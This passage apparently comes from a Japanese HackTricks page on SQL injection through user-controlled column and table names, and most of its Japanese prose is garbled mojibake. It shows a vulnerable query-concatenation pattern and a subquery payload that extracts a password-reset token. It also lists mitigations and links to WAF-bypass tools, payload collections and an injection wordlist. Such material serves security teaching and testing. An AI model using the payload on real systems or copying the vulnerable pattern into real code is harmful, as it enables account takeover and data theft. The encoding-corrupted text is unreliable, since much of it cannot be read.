ãŠãŒã¶å ¥åã SELECT ãªã¹ãã table/column identifiers ã«é£çµãããå Žåãprepared statements ã¯åœ¹ã«ç«ã¡ãŸããããªããªã bind parameters 㯠values ã®ã¿ãä¿è·ããidentifiers ã¯ä¿è·ããªãããã§ããããããè匱ãªãã¿ãŒã³ã¯:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
æªçšã®ã¢ã€ãã¢: ãã£ãŒã«ãäœçœ®ã«ãµãã¯ãšãªãæ³šå ¥ããŠä»»æã®ããŒã¿ãå€éšã«æã¡åºã:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
泚æ:
- ãã®ææ³ã¯ WHEREå¥ ãããŠã³ããã©ã¡ãŒã¿ã䜿çšããŠããå Žåã§ãæ©èœããŸããèå¥åãªã¹ããäŸç¶ãšããŠæååé£çµãããããã§ãã
- äžéšã®ã¹ã¿ãã¯ã§ã¯è¿œå ã§ããŒãã«åãå¶åŸ¡ã§ããïŒtablename injectionïŒãããã«ããã¯ãã¹ããŒãã«èªã¿åããå¯èœã«ãªããŸãã
- åºåã¹INKã¯éžæãããå€ã HTML/JSON ã«åæ ããå¯èœæ§ããããXSS ãã¬ã¹ãã³ã¹ããã®ããŒã¯ã³æµåºãçŽæ¥èš±ãããšããããŸãã
Mitigations:
- ãŠãŒã¶ãŒå ¥åããèå¥åãé£çµããŠã¯ãªããŸãããèš±å¯ãã column åãåºå®ã® allow-list ã«ãããããèå¥åãé©åã«ã¯ã©ãŒãããŠãã ããã
- åçãªããŒãã«ã¢ã¯ã»ã¹ãå¿ èŠãªå Žåã¯ãæéã®ã»ããã«å¶éããå®å šãªãããã³ã°ãããµãŒããŒåŽã§è§£æ±ºããŠãã ããã
WAF ãã€ãã¹ææ¡ããŒã«
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
ãã®ä»ã®ã¬ã€ã
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
ãã«ãŒããã©ãŒã¹æ€åºãªã¹ã
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
åè
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


